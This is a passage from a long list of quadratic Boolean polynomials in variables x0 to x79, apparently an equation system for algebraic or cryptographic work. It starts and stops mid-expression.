+ x13*x76 + x14*x15 + x14*x16 + x14*x17 + x14*x21 + x14*x25 + x14*x29 + x14*x31 + x14*x32 + x14*x35 + x14*x39 + x14*x40 + x14*x43 + x14*x44 + x14*x47 + x14*x50 + x14*x53 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x65 + x14*x66 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x79 + x14 + x15*x17 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x40 + x15*x45 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x53 + x15*x54 + x15*x60 + x15*x62 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x72 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x15 + x16*x17 + x16*x24 + x16*x25 + x16*x28 + x16*x29 + x16*x30 + x16*x33 + x16*x36 + x16*x37 + x16*x41 + x16*x42 + x16*x43 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x59 + x16*x63 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x74 + x16*x76 + x16*x77 + x16 + x17*x19 + x17*x20 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x35 + x17*x38 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x53 + x17*x54 + x17*x56 + x17*x57 + x17*x63 + x17*x66 + x17*x68 + x17*x72 + x17*x75 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x45 + x18*x47 + x18*x49 + x18*x50 + x18*x51 + x18*x55 + x18*x56 + x18*x58 + x18*x61 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x70 + x18*x73 + x18*x76 + x18*x79 + x18 + x19*x24 + x19*x26 + x19*x32 + x19*x34 + x19*x35 + x19*x37 + x19*x38 + x19*x41 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x48 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x70 + x19*x77 + x19*x79 + x20*x22 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x35 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x54 + x20*x55 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x66 + x20*x69 + x20*x72 + x20*x75 + x20*x76 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x24 + x21*x25 + x21*x28 + x21*x39 + x21*x40 + x21*x43 + x21*x44 + x21*x45 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x75 + x21*x76 + x21*x77 + x22*x23 + x22*x25 + x22*x28 + x22*x31 + x22*x33 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x51 + x22*x53 + x22*x54 + x22*x56 + x22*x62 + x22*x63 + x22*x66 + x22*x68 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x23*x26 + x23*x33 + x23*x34 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x50 + x23*x51 + x23*x52 + x23*x54 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x70 + x23*x77 + x23*x79 + x23 + x24*x25 + x24*x27 + x24*x28 + x24*x32 + x24*x34 + x24*x37 + x24*x38 + x24*x39 + x24*x41 + x24*x42 + x24*x44 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x76 + x24*x77 + x24 + x25*x26 + x25*x27 + x25*x29 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x38 + x25*x40 + x25*x42 + x25*x43 + x25*x45 + x25*x47 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x67 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x76 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x31 + x26*x32 + x26*x33 + x26*x35 + x26*x38 + x26*x41 + x26*x42 + x26*x44 + x26*x46 + x26*x51 + x26*x54 + x26*x55 + x26*x58 + x26*x61 + x26*x63 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x78 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x39 + x27*x44 + x27*x45 + x27*x47 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x61 + x27*x62 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x75 + x27*x76 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x38 + x28*x39 + x28*x43 + x28*x44 + x28*x46 + x28*x49 + x28*x50 + x28*x51 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x64 + x28*x65 + x28*x67 + x28*x73 + x28*x74 + x28*x75 + x29*x31 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x52 + x29*x54 + x29*x56 + x29*x57 + x29*x59 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x73 + x29*x74 + x29*x77 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x44 + x30*x45 + x30*x54 + x30*x55 + x30*x56 + x30*x58 + x30*x60 + x30*x63 + x30*x66 + x30*x67 + x30*x74 + x31*x35 + x31*x36 + x31*x37 + x31*x40 + x31*x43 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x63 + x31*x67 + x31*x68 + x31*x69 + x31*x73 + x31*x79 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x54 + x32*x55 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x69 + x32*x71 + x32*x76 + x33*x37 + x33*x38 + x33*x39 + x33*x41 + x33*x42 + x33*x44 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x60 + x33*x65 + x33*x67 + x33*x72 + x33*x76 + x33*x78 + x33*x79 + x33 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x45 + x34*x46 + x34*x48 + x34*x52 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x63 + x34*x67 + x34*x68 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x79 + x35*x36 + x35*x38 + x35*x42 + x35*x43 + x35*x45 + x35*x46 + x35*x49 + x35*x52 + x35*x53 + x35*x55 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x64 + x35*x66 + x35*x67 + x35*x69 + x35*x70 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x36*x41 + x36*x43 + x36*x45 + x36*x47 + x36*x51 + x36*x52 + x36*x55 + x36*x56 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x65 + x36*x69 + x36*x70 + x36*x73 + x36*x74 + x37*x38 + x37*x39 + x37*x44 + x37*x48 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x55 + x37*x57 + x37*x58 + x37*x62 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x71 + x37*x73 + x37*x74 + x37*x76 + x37*x77 + x37*x79 + x37 + x38*x40 + x38*x45 + x38*x48 + x38*x49 + x38*x50 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x75 + x39*x40 + x39*x41 + x39*x43 + x39*x46 + x39*x48 + x39*x49 + x39*x55 + x39*x57 + x39*x61 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x61 + x40*x65 + x40*x67 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x77 + x40*x78 + x40*x79 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x50 + x41*x52 + x41*x53 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x71 + x41*x75 + x41*x76 + x41*x77 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x46 + x42*x48 + x42*x49 + x42*x52 + x42*x56 + x42*x58 + x42*x61 + x42*x62 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x74 + x43*x45 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x62 + x43*x63 + x43*x64 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43 + x44*x48 + x44*x50 + x44*x51 + x44*x52 + x44*x56 + x44*x57 + x44*x60 + x44*x63 + x44*x69 + x44*x71 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x44 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x60 + x45*x62 + x45*x66 + x45*x67 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x46*x50 + x46*x53 + x46*x54 + x46*x55 + x46*x57 + x46*x61 + x46*x63 + x46*x64 + x46*x66 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x75 + x46*x79 + x47*x52 + x47*x54 + x47*x57 + x47*x58 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x77 + x47*x78 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x61 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x71 + x48*x74 + x48*x75 + x48*x78 + x48*x79 + x49*x51 + x49*x52 + x49*x53 + x49*x55 + x49*x60 + x49*x61 + x49*x63 + x49*x66 + x49*x67 + x49*x69 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x58 + x50*x60 + x50*x61 + x50*x66 + x50*x67 + x50*x70 + x50*x71 + x50*x72 + x50*x75 + x50*x76 + x50*x79 + x50 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x65 + x51*x66 + x51*x71 + x51*x73 + x51*x75 + x51*x77 + x51*x78 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x58 + x53*x59 + x53*x60 + x53*x62 + x53*x66 + x53*x69 + x53*x72 + x53*x75 + x53*x77 + x53 + x54*x55 + x54*x56 + x54*x61 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x57 + x55*x63 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x72 + x55*x73 + x55*x75 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x61 + x56*x62 + x56*x64 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x76 + x56*x77 + x56*x78 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x68 + x57*x71 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x72 + x58*x79 + x59*x60 + x59*x62 + x59*x63 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x72 + x59*x73 + x59*x74 + x59*x78 + x59*x79 + x60*x61 + x60*x62 + x60*x68 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x76 + x60 + x61*x63 + x61*x64 + x61*x65 + x61*x67 + x61*x73 + x61*x74 + x61*x76 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x71 + x62*x74 + x62*x75 + x62*x78 + x62 + x63*x67 + x63*x69 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x77 + x63*x79 + x63 + x64*x65 + x64*x66 + x64*x75 + x64*x78 + x64*x79 + x64 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x74 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x70 + x68*x71 + x68*x72 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x73 + x69*x74 + x69*x75 + x69*x78 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x73 + x71*x75 + x71*x76 + x71*x78 + x71*x79 + x72*x73 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x78 + x73*x79 + x74*x77 + x74 + x75*x76 + x75*x77 + x75*x78 + x75*x79 + x75 + x76*x78 + x77*x79 + 1, x0*x1 + x0*x2 + x0*x4 + x0*x5 + x0*x6 + x0*x8 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x37 + x0*x40 + x0*x41 + x0*x42 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x58 + x0*x59 + x0*x64 + x0*x65 + x0*x66 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x9 + x1*x10 + x1*x11 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x29 + x1*x30 + x1*x31 + x1*x39 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x50 + x1*x51 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x72 + x1*x73 + x1*x74 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x11 + x2*x14 + x2*x17 + x2*x18 + x2*x20 + x2*x24 + x2*x27 + x2*x29 + x2*x31 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x61 + x2*x64 + x2*x66 + x2*x68 + x2*x70 + x2*x72 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x19 + x3*x23 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x46 + x3*x48 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x67 + x3*x71 + x3*x72 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x8 + x4*x16 + x4*x17 + x4*x20 + x4*x23 + x4*x25 + x4*x29 + x4*x32 + x4*x39 + x4*x40 + x4*x42 + x4*x44 + x4*x46 + x4*x52 + x4*x55 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x68 + x4*x71 + x4*x72 + x4*x74 + x4*x75 + x4*x76 + x4*x79 + x4 + x5*x8 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x32 + x5*x35 + x5*x37 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x51 + x5*x52 + x5*x53 + x5*x54 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x69 + x5*x72 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x10 + x6*x13 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x20 + x6*x25 + x6*x26 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x36 + x6*x39 + x6*x41 + x6*x42 + x6*x43 + x6*x47 + x6*x49 + x6*x52 + x6*x53 + x6*x54 + x6*x57 + x6*x59 + x6*x60 + x6*x64 + x6*x65 + x6*x66 + x6*x70 + x6*x72 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x17 + x7*x20 + x7*x22 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x40 + x7*x41 + x7*x43 + x7*x45 + x7*x46 + x7*x48 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x60 + x7*x62 + x7*x65 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x79 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x41 + x8*x42 + x8*x46 + x8*x47 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x57 + x8*x60 + x8*x61 + x8*x62 + x8*x65 + x8*x69 + x8*x70 + x8*x75 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x25 + x9*x26 + x9*x28 + x9*x32 + x9*x34 + x9*x36 + x9*x37 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x51 + x9*x54 + x9*x55 + x9*x59 + x9*x62 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x73 + x9*x75 + x9*x76 + x10*x12 + x10*x18 + x10*x20 + x10*x22 + x10*x25 + x10*x26 + x10*x27 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x39 + x10*x41 + x10*x44 + x10*x45 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x71 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x11*x12 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x20 + x11*x22 + x11*x23 + x11*x29 + x11*x31 + x11*x33 + x11*x34 + x11*x37 + x11*x39 + x11*x40 + x11*x43 + x11*x46 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x58 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x68 + x11*x70 + x11*x71 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x14 + x12*x15 + x12*x17 + x12*x20 + x12*x21 + x12*x23 + x12*x26 + x12*x27 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x48 + x12*x50 + x12*x57 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x34 + x13*x35 + x13*x37 + x13*x40 + x13*x41 + x13*x43 + x13*x47 + x13*x51 + x13*x52 + x13*x54 + x13*x56 + x13*x59 + x13*x60 + x13*x66 + x13*x67 + x13*x69 + x13*x71 + x13*x72 + x13*x73 + x13*x78 + x14*x18 + x14*x20 + x14*x22 + x14*x24 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x41 + x14*x46 + x14*x48 + x14*x54 + x14*x55 + x14*x58 + x14*x59 + x14*x62 + x14*x63 + x14*x65 + x14*x67 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x18 + x15*x22 + x15*x23 + x15*x24 + x15*x28 + x15*x29 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x45 + x15*x47 + x15*x49 + x15*x50 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x68 + x15*x73 + x15*x74 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x23 + x16*x29 + x16*x30 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x37 + x16*x41 + x16*x42 + x16*x44 + x16*x45 + x16*x46 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x59 + x16*x63 + x16*x64 + x16*x65 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x72 + x16*x73 + x16*x74 + x16*x76 + x16*x78 + x17*x19 + x17*x20 + x17*x21 + x17*x24 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x37 + x17*x40 + x17*x45 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x54 + x17*x55 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x28 + x18*x32 + x18*x35 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x45 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x57 + x18*x58 + x18*x59 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x73 + x18*x74 + x18*x76 + x18*x79 + x19*x22 + x19*x27 + x19*x28 + x19*x31 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x41 + x19*x43 + x19*x44 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x51 + x19*x53 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x69 + x19*x74 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x38 + x20*x39 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x50 + x20*x52 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x60 + x20*x62 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x74 + x20*x77 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x28 + x21*x29 + x21*x30 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x41 + x21*x46 + x21*x47 + x21*x50 + x21*x52 + x21*x53 + x21*x59 + x21*x61 + x21*x67 + x21*x68 + x21*x73 + x21*x74 + x21*x77 + x21*x78 + x21*x79 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x37 + x22*x41 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x50 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x62 + x22*x63 + x22*x65 + x22*x67 + x22*x72 + x22*x73 + x22*x74 + x22*x78 + x22 + x23*x24 + x23*x36 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x44 + x23*x45 + x23*x48 + x23*x51 + x23*x57 + x23*x58 + x23*x59 + x23*x63 + x23*x65 + x23*x66 + x23*x69 + x23*x73 + x23*x76 + x23*x77 + x23*x78 + x24*x25 + x24*x26 + x24*x27 + x24*x29 + x24*x30 + x24*x31 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x55 + x24*x60 + x24*x61 + x24*x64 + x24*x67 + x24*x70 + x24*x72 + x24*x76 + x24 + x25*x27 + x25*x29 + x25*x31 + x25*x32 + x25*x33 + x25*x35 + x25*x39 + x25*x40 + x25*x43 + x25*x48 + x25*x50 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x75 + x25*x76 + x25*x77 + x25*x79 + x26*x28 + x26*x29 + x26*x30 + x26*x31 + x26*x33 + x26*x37 + x26*x40 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x63 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x78 + x26*x79 + x27*x29 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x41 + x27*x43 + x27*x47 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x63 + x27*x66 + x27*x67 + x27*x68 + x27*x72 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x31 + x28*x36 + x28*x38 + x28*x40 + x28*x42 + x28*x43 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x55 + x28*x56 + x28*x61 + x28*x65 + x28*x66 + x28*x68 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x28 + x29*x30 + x29*x34 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x66 + x29*x71 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x31 + x30*x32 + x30*x34 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x39 + x31*x41 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x46 